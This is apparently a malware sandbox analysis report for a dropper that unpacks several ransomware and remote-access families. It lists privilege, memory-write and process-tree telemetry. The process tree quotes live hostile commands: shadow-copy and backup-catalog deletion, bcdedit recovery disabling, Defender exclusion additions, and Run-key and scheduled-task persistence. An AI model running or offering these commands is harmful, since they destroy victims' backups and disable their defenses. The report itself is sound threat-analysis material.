2920	svchost.exe
2920	svchost.exe
2920	svchost.exe
2920	svchost.exe
6820	powershell.exe
6820	powershell.exe
3200	powershell.exe
3200	powershell.exe
6428	powershell.exe
6428	powershell.exe
6348	powershell.exe
6348	powershell.exe
6108	powershell.exe
6108	powershell.exe
772	powershell.exe
772	powershell.exe
6900	powershell.exe
6900	powershell.exe
1320	powershell.exe
1320	powershell.exe
6196	powershell.exe
6196	powershell.exe
352	powershell.exe
352	powershell.exe
796	powershell.exe
796	powershell.exe
3200	powershell.exe
3200	powershell.exe
3024	powershell.exe
3024	powershell.exe
6212	powershell.exe
6212	powershell.exe
7104	powershell.exe
7104	powershell.exe
6992	powershell.exe
6992	powershell.exe
2572	powershell.exe
2572	powershell.exe
6456	powershell.exe
6456	powershell.exe
7096	powershell.exe
6760	powershell.exe
6760	powershell.exe
7096	powershell.exe
6388	powershell.exe
6388	powershell.exe
6284	powershell.exe
6284	powershell.exe
3184	powershell.exe
3184	powershell.exe
796	powershell.exe
796	powershell.exe
6820	powershell.exe
6820	powershell.exe
2460	powershell.exe
2460	powershell.exe
3024	powershell.exe
3024	powershell.exe
6428	powershell.exe
6428	powershell.exe
316	powershell.exe
316	powershell.exe
6348	powershell.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
664	CryptoWall.exe
4732	cf4d0a0b.exe
5092	explorer.exe
5300	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3712	wmic.exe
Token: SeSecurityPrivilege	3712	wmic.exe
Token: SeTakeOwnershipPrivilege	3712	wmic.exe
Token: SeLoadDriverPrivilege	3712	wmic.exe
Token: SeSystemProfilePrivilege	3712	wmic.exe
Token: SeSystemtimePrivilege	3712	wmic.exe
Token: SeProfSingleProcessPrivilege	3712	wmic.exe
Token: SeIncBasePriorityPrivilege	3712	wmic.exe
Token: SeCreatePagefilePrivilege	3712	wmic.exe
Token: SeBackupPrivilege	3712	wmic.exe
Token: SeRestorePrivilege	3712	wmic.exe
Token: SeShutdownPrivilege	3712	wmic.exe
Token: SeDebugPrivilege	3712	wmic.exe
Token: SeSystemEnvironmentPrivilege	3712	wmic.exe
Token: SeRemoteShutdownPrivilege	3712	wmic.exe
Token: SeUndockPrivilege	3712	wmic.exe
Token: SeManageVolumePrivilege	3712	wmic.exe
Token: 33	3712	wmic.exe
Token: 34	3712	wmic.exe
Token: 35	3712	wmic.exe
Token: 36	3712	wmic.exe
Token: SeDebugPrivilege	5524	4363463463464363463463463.exe
Token: SeBackupPrivilege	1568	vssvc.exe
Token: SeRestorePrivilege	1568	vssvc.exe
Token: SeAuditPrivilege	1568	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3712	wmic.exe
Token: SeSecurityPrivilege	3712	wmic.exe
Token: SeTakeOwnershipPrivilege	3712	wmic.exe
Token: SeLoadDriverPrivilege	3712	wmic.exe
Token: SeSystemProfilePrivilege	3712	wmic.exe
Token: SeSystemtimePrivilege	3712	wmic.exe
Token: SeProfSingleProcessPrivilege	3712	wmic.exe
Token: SeIncBasePriorityPrivilege	3712	wmic.exe
Token: SeCreatePagefilePrivilege	3712	wmic.exe
Token: SeBackupPrivilege	3712	wmic.exe
Token: SeRestorePrivilege	3712	wmic.exe
Token: SeShutdownPrivilege	3712	wmic.exe
Token: SeDebugPrivilege	3712	wmic.exe
Token: SeSystemEnvironmentPrivilege	3712	wmic.exe
Token: SeRemoteShutdownPrivilege	3712	wmic.exe
Token: SeUndockPrivilege	3712	wmic.exe
Token: SeManageVolumePrivilege	3712	wmic.exe
Token: 33	3712	wmic.exe
Token: 34	3712	wmic.exe
Token: 35	3712	wmic.exe
Token: 36	3712	wmic.exe
Token: SeDebugPrivilege	3084	25.exe
Token: SeDebugPrivilege	1652	24.exe
Token: SeDebugPrivilege	6100	23.exe
Token: SeDebugPrivilege	1452	20.exe
Token: SeDebugPrivilege	5352	22.exe
Token: SeDebugPrivilege	4540	21.exe
Token: SeDebugPrivilege	4496	19.exe
Token: SeDebugPrivilege	4820	18.exe
Token: SeDebugPrivilege	2464	17.exe
Token: SeDebugPrivilege	4944	15.exe
Token: SeDebugPrivilege	6128	16.exe
Token: SeDebugPrivilege	328	14.exe
Token: SeDebugPrivilege	924	13.exe
Token: SeDebugPrivilege	3584	12.exe
Token: SeDebugPrivilege	1464	11.exe
Token: SeDebugPrivilege	5188	10.exe
Token: SeDebugPrivilege	2820	9.exe
Token: SeDebugPrivilege	5344	7.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
7132	msiexec.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1100	Client-built.exe
9544	@[email protected]
9544	@[email protected]
7500	@[email protected]
7500	@[email protected]
10544	@[email protected]
10544	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 4464	1908	250511-ab4waaszhx.exe	78
PID 1908 wrote to memory of 4464	1908	250511-ab4waaszhx.exe	78
PID 1908 wrote to memory of 4464	1908	250511-ab4waaszhx.exe	78
PID 4464 wrote to memory of 5996	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 4464 wrote to memory of 5996	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 4464 wrote to memory of 5996	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 4464 wrote to memory of 4144	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	80
PID 4464 wrote to memory of 4144	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	80
PID 4464 wrote to memory of 4144	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	80
PID 1908 wrote to memory of 5736	1908	250511-ab4waaszhx.exe	83
PID 1908 wrote to memory of 5736	1908	250511-ab4waaszhx.exe	83
PID 1908 wrote to memory of 5736	1908	250511-ab4waaszhx.exe	83
PID 1908 wrote to memory of 5040	1908	250511-ab4waaszhx.exe	84
PID 1908 wrote to memory of 5040	1908	250511-ab4waaszhx.exe	84
PID 1908 wrote to memory of 5040	1908	250511-ab4waaszhx.exe	84
PID 1908 wrote to memory of 5076	1908	250511-ab4waaszhx.exe	85
PID 1908 wrote to memory of 5076	1908	250511-ab4waaszhx.exe	85
PID 4464 wrote to memory of 2732	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 4464 wrote to memory of 2732	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 4464 wrote to memory of 2732	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 4464 wrote to memory of 4864	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 4464 wrote to memory of 4864	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 4464 wrote to memory of 4864	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 4864 wrote to memory of 4756	4864	cmd.exe	91
PID 4864 wrote to memory of 4756	4864	cmd.exe	91
PID 4864 wrote to memory of 4756	4864	cmd.exe	91
PID 4464 wrote to memory of 5708	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	176
PID 4464 wrote to memory of 5708	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	176
PID 4464 wrote to memory of 5708	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	176
PID 5736 wrote to memory of 5524	5736	Cry.exe	95
PID 5736 wrote to memory of 5524	5736	Cry.exe	95
PID 5736 wrote to memory of 5524	5736	Cry.exe	95
PID 5736 wrote to memory of 1732	5736	Cry.exe	97
PID 5736 wrote to memory of 1732	5736	Cry.exe	97
PID 5736 wrote to memory of 1732	5736	Cry.exe	97
PID 5736 wrote to memory of 2696	5736	Cry.exe	98
PID 5736 wrote to memory of 2696	5736	Cry.exe	98
PID 5736 wrote to memory of 2696	5736	Cry.exe	98
PID 2696 wrote to memory of 3712	2696	asena.exe	99
PID 2696 wrote to memory of 3712	2696	asena.exe	99
PID 2696 wrote to memory of 3168	2696	asena.exe	100
PID 2696 wrote to memory of 3168	2696	asena.exe	100
PID 5736 wrote to memory of 772	5736	Cry.exe	185
PID 5736 wrote to memory of 772	5736	Cry.exe	185
PID 5736 wrote to memory of 664	5736	Cry.exe	105
PID 5736 wrote to memory of 664	5736	Cry.exe	105
PID 5736 wrote to memory of 664	5736	Cry.exe	105
PID 4464 wrote to memory of 4308	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 4464 wrote to memory of 4308	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 4464 wrote to memory of 4308	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 664 wrote to memory of 5300	664	CryptoWall.exe	106
PID 664 wrote to memory of 5300	664	CryptoWall.exe	106
PID 664 wrote to memory of 5300	664	CryptoWall.exe	106
PID 4464 wrote to memory of 5364	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	108
PID 4464 wrote to memory of 5364	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	108
PID 4464 wrote to memory of 5364	4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	108
PID 5352 wrote to memory of 4732	5352	cmd.exe	146
PID 5352 wrote to memory of 4732	5352	cmd.exe	146
PID 5352 wrote to memory of 4732	5352	cmd.exe	146
PID 4732 wrote to memory of 5092	4732	cf4d0a0b.exe	118
PID 4732 wrote to memory of 5092	4732	cf4d0a0b.exe	118
PID 4732 wrote to memory of 5092	4732	cf4d0a0b.exe	118
PID 5092 wrote to memory of 3312	5092	explorer.exe	120
PID 5092 wrote to memory of 3312	5092	explorer.exe	120

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5708	attrib.exe
4308	attrib.exe
5364	attrib.exe
5996	attrib.exe

C:\Users\Admin\AppData\Local\Temp\250511-ab4waaszhx.exe
"C:\Users\Admin\AppData\Local\Temp\250511-ab4waaszhx.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Users\Admin\AppData\Roaming\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
  "C:\Users\Admin\AppData\Roaming\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5996
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4144
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 118771746923764.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\SysWOW64\cscript.exe
      cscript.exe //nologo m.vbs
      4⤵
      System Location Discovery: System Language Discovery
      PID:4756
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5708
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s E:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4308
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s E:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5364
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected] co
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:9544
  - - C:\Users\Admin\AppData\Roaming\TaskData\Tor\taskhsvc.exe
      TaskData\Tor\taskhsvc.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:10496
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b @[email protected] vs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:9564
  - - C:\Users\Admin\AppData\Roaming\@[email protected]
      @[email protected] vs
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:7500
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:11460
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:8456
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:10408
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:10544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "miphxibwtkpmxvv603" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\tasksche.exe\"" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8620
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "miphxibwtkpmxvv603" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\tasksche.exe\"" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:756
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:4348
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    PID:7444
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    PID:16376
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    PID:8468
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    PID:1552
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    PID:13696
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    PID:13676
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    PID:12384
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    PID:7572
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    PID:14360
- C:\Users\Admin\AppData\Roaming\Cry.exe
  "C:\Users\Admin\AppData\Roaming\Cry.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5524
  - - C:\Users\Admin\AppData\Local\Temp\Files\0VbSWAs.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\0VbSWAs.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3152
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\d724279e76808474\ScreenConnect.ClientSetup.msi"
        5⤵
        Enumerates connected drives
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:7132
  - - C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1100
  - - C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:872
  - - C:\Users\Admin\AppData\Local\Temp\Files\client.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\client.exe"
      4⤵
      Executes dropped EXE
      PID:3764
  - - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
      4⤵
      Executes dropped EXE
      PID:6272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7736
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        5⤵
        
        PID:9560
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15136
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14392
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:756
  - - C:\Users\Admin\AppData\Local\Temp\Files\spoitor.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\spoitor.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:11256
    - - C:\Users\Admin\AppData\Local\Temp\Files\spoitor.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\spoitor.exe" g
        5⤵
        
        PID:5996
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /CREATE /TN "N0mFUQoa" /TR "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" /SC ONLOGON /RL HIGHEST /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14740
    - - C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
        
        "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe"
        5⤵
        
        PID:10556
      - C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe
        
        "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" g
        6⤵
        
        PID:14652
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\!HELP_SOS.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        6⤵
        
        PID:14196
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1.vbs"
        6⤵
        
        PID:8380
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\__config252888.bat"
        5⤵
        
        PID:7292
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8896
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:14500
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9404
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:15064
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:16328
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9700
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9052
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:11292
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:11444
  - - C:\Users\Admin\AppData\Local\Temp\Files\javaw.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\javaw.exe"
      4⤵
      PID:7892
- - C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
    "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1732
- - C:\Users\Admin\AppData\Local\Temp\asena.exe
    "C:\Users\Admin\AppData\Local\Temp\asena.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Checks SCSI registry key(s)
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic.exe shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3712
  - - C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3168
  - - C:\Windows\SysWOW64\notepad.exe
      C:\Users\Public\Documents\RGNR_292FBD50.txt
      4⤵
      System Location Discovery: System Language Discovery
      Opens file in notepad (likely ransom note)
      PID:7244
- - C:\Users\Admin\AppData\Local\Temp\Bomb.exe
    "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
    3⤵
    - Executes dropped EXE
    PID:772
  - - C:\Users\Admin\AppData\Local\Temp\25.exe
      "C:\Users\Admin\AppData\Local\Temp\25.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3084
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
        5⤵
        
        PID:12264
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:15208
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14568
  - - C:\Users\Admin\AppData\Local\Temp\24.exe
      "C:\Users\Admin\AppData\Local\Temp\24.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1652
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9616
  - - C:\Users\Admin\AppData\Local\Temp\23.exe
      "C:\Users\Admin\AppData\Local\Temp\23.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:6100
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3200
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:15280
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10416
  - - C:\Users\Admin\AppData\Local\Temp\22.exe
      "C:\Users\Admin\AppData\Local\Temp\22.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5352
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6388
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
